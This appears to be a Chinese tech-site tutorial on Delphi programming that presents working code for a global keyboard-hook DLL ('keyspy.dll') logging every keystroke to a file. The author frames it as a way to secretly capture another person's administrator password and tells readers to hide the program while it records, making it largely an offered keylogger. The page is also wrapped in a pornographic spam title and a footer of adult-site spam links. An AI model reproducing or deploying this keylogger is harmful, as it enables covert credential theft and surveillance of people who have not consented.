成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Delphi編程使用HOOK監視Windows

開發 開發工具
本文是筆者在Delphi學習過程中,得出的個人體會,介紹了通過Delphi編程使用HOOK監視Windows的具體方法,希望能與大家共同分享一下。

  文中詳細介紹了如何通過Delphi編程使用HOOK監視Windows的步驟,同時給出了程序實例。

  每個程序都有自己的生存空間,在Windows系統中你可以在任何時候讓你的程序執行一些操作,還可以觸發消息,觸發的消息分為三種,一是操作你程序的界面,onClick,onMouseMove等等,另外一個可以使用Windows的消息機制來捕獲一些系統消息,但是如果你想在任何時候監控任何程序的情況那可能你就會選擇HOOK來實現了,雖然還有其他方法,但不得不承認,HOOK是一個比較簡單解決問題的途徑。

  下面就來舉個例子:

  如果你需要訪問某個人的機器,那在運行\\SB之后那個人就會在你機器上敲入他的adminsitrator密碼,當然,你也可以使用黑客工具來得到他的密碼,但是,為什么不自己嘗試一下寫個程序記錄所有的鍵盤操作呢?

  首先需要申明一點,Hook不同于一般的應用程序,需要作為一個全局DLL出現,否則無法在你程序不激活的狀態捕獲其他信息的,(當然你可以用Windows消息,這個問題不在這里討論)。

  寫個DLL定義一下函數

  1. function setkeyhook:bool;export;  
  2. function endkeyhook:bool;export;  
  3. procedure keyhookexit;far;  
  4. procedure SetMainHandle(Handle: HWND); export;forward;  
  5. function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;  
  6.  
  7. procedure EntryPointProc(Reason: Integer);  
  8.  const 
  9.   hMapObject: THandle = 0;  
  10.  begin  
  11.   case reason of  
  12.    DLL_PROCESS_ATTACH:  
  13.   begin  
  14.    hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);  
  15.    rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);  
  16.   end;  
  17.   DLL_PROCESS_DETACH:  
  18.  begin  
  19.  try 
  20.   UnMapViewOfFile(rHookRec);  
  21.   CloseHandle(hMapObject);  
  22.   except  
  23.  end;  
  24. end;  
  25. end;  
  26. end;  
  27. procedure keyhookexit;far;  
  28. begin  
  29. if hNexthookproc<>0 then endkeyhook;  
  30.  exitproc:=procsaveexit;  
  31. end;  
  32. function endkeyhook:bool;export;  
  33. begin  
  34. if hNexthookproc<>0 then  
  35. begin  
  36.  unhookwindowshookex(hNexthookproc);  
  37.  hNexthookproc:=0;  
  38.  messagebeep(0);  
  39. end;  
  40. result:=hNexthookproc=0;  
  41. MainHandle:=0;  
  42. end;  
  43.  
  44. function Setkeyhook:bool;export;  
  45. begin  
  46.  hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);  
  47.  result:=hNexthookproc<>0;  
  48. end;  
  49. function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;  
  50. var  
  51.  s:Tstringlist;  
  52. begin  
  53.  if icode<0 then  
  54.  begin  
  55.   result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);  
  56.   exit;  
  57.  end;  
  58.  if lparam<0 then  
  59.  begin  
  60.   exit;  
  61.  end;  
  62.  s:=TStringlist.Create;  
  63.  if FileExists(afilename) then  
  64.   s.LoadFromFile(afilename);  
  65.  
  66.   //將敲打的鍵盤字符保存到文件中   
  67.   s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );  
  68.   s.SaveToFile(afilename);  
  69.   s.Free;  
  70.  
  71.   result:=0;  
  72.  end;  

  Dll的Project文件中定義如下

  1. exports  
  2. setkeyhook index 1,  
  3. endkeyhook index 2,  
  4. SetMainHandle index 3;  
  5.  
  6. begin   
  7. hNexthookproc:=0;  
  8. procsaveexit:=exitproc;  
  9. DllProc := @EntryPointProc;  
  10. EntryPointProc(DLL_PROCESS_ATTACH);  
  11. end;

  這樣DLL就定義好了,接下來就是畫個界面:

  1. function setkeyhook:bool;external ’keyspy.dll’;  
  2. function endkeyhook:bool;external ’keyspy.dll’;  
  3. procedure SetMainHandle(Handle: HWND); external ’keyspy.dll’;  
  4. //開始捕獲鍵盤  
  5. SetMainHandle(handle);  
  6. setkeyhook  
  7. //中止捕獲鍵盤  
  8. endkeyhook    

  然后吧你程序隱蔽起來,啟動捕獲鍵盤,在中止捕獲之前,所有鍵盤操作都會被記錄到你所定義的filename這個文件名中去,注:這些代碼是臨時寫的,僅是為了說明如何寫個hook程序。

  另外Hook的功能不僅僅是簡單使用,這就需要靠大家靈活運用了,可以跟很多windows API來配合,通過很多技巧作出讓人意想不到的效果。

【編輯推薦】

  1. Delphi基礎開發技巧
  2. Delphi編程讀取txt文件數據
  3. 如何在Delphi中自動錄入數據
  4. 基于Delphi的屏幕抓圖技術的實現
  5. Delphi初學者應小心的六大問題
  6. 淺析Delphi XE中的動態Hook某些內部事件
責任編輯:韓亞珊 來源: 編程愛好者
相關推薦

2010-12-16 11:10:29

Windows Ser

2011-11-08 21:54:05

Windows 監控

2011-01-05 09:14:38

Delphi XE

2011-04-06 08:54:25

Nagios監視

2012-03-19 10:46:53

ibmdw

2009-10-26 09:49:26

監視器監視網絡通信

2010-05-31 19:35:23

Ubuntu mrtg

2010-01-25 13:31:27

C++程序

2018-12-05 10:10:23

Windows 10設置監視器

2024-07-16 09:51:39

HTMLHookReact

2011-04-06 13:56:36

Delphi

2025-02-12 00:21:44

Java并發編程

2009-08-14 11:15:19

文件監視C#Windows服務

2017-11-01 07:57:08

Python

2014-10-13 10:15:13

Android HOOCydia Subst

2011-04-06 16:07:44

Delphi

2012-03-09 17:31:50

ibmdw

2009-04-30 01:55:48

windows監視器木馬

2009-05-12 09:04:41

微軟Windows 7操作系統

2010-07-07 13:39:33

SQL Server監
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 午夜三级视频 | 国产亚洲一区二区三区在线观看 | 91xxx在线观看 | 99精品视频一区二区三区 | 欧美片网站免费 | 欧美1区2区 | 999www视频免费观看 | 99视频在线免费观看 | av在线播放网 | 人人干人人干人人干 | 日韩中文字幕一区二区 | 亚洲一二三区不卡 | 你懂的国产 | 91精品久久久久久久久久入口 | 婷婷亚洲综合 | 亚洲视频国产 | 在线观看亚洲精品视频 | 一级做a爰片久久毛片免费看 | 影音先锋中文在线 | 人人人人爽 | 精品毛片 | 欧美视频1区 | 久久精品国产一区二区电影 | 欧美色综合一区二区三区 | 欧美8一10sex性hd | 午夜影院普通用户体验区 | 香蕉91| 97超碰免费 | 成人激情视频免费观看 | 久久久免费少妇高潮毛片 | 国产激情综合五月久久 | 色成人免费网站 | 韩国成人在线视频 | 成人av网站在线观看 | 午夜激情小视频 | 成人在线不卡 | 亚洲成人毛片 | 国产精品一区二区欧美 | 亚洲天堂久久 | 日韩欧美国产一区二区三区 | 亚洲午夜精品一区二区三区 |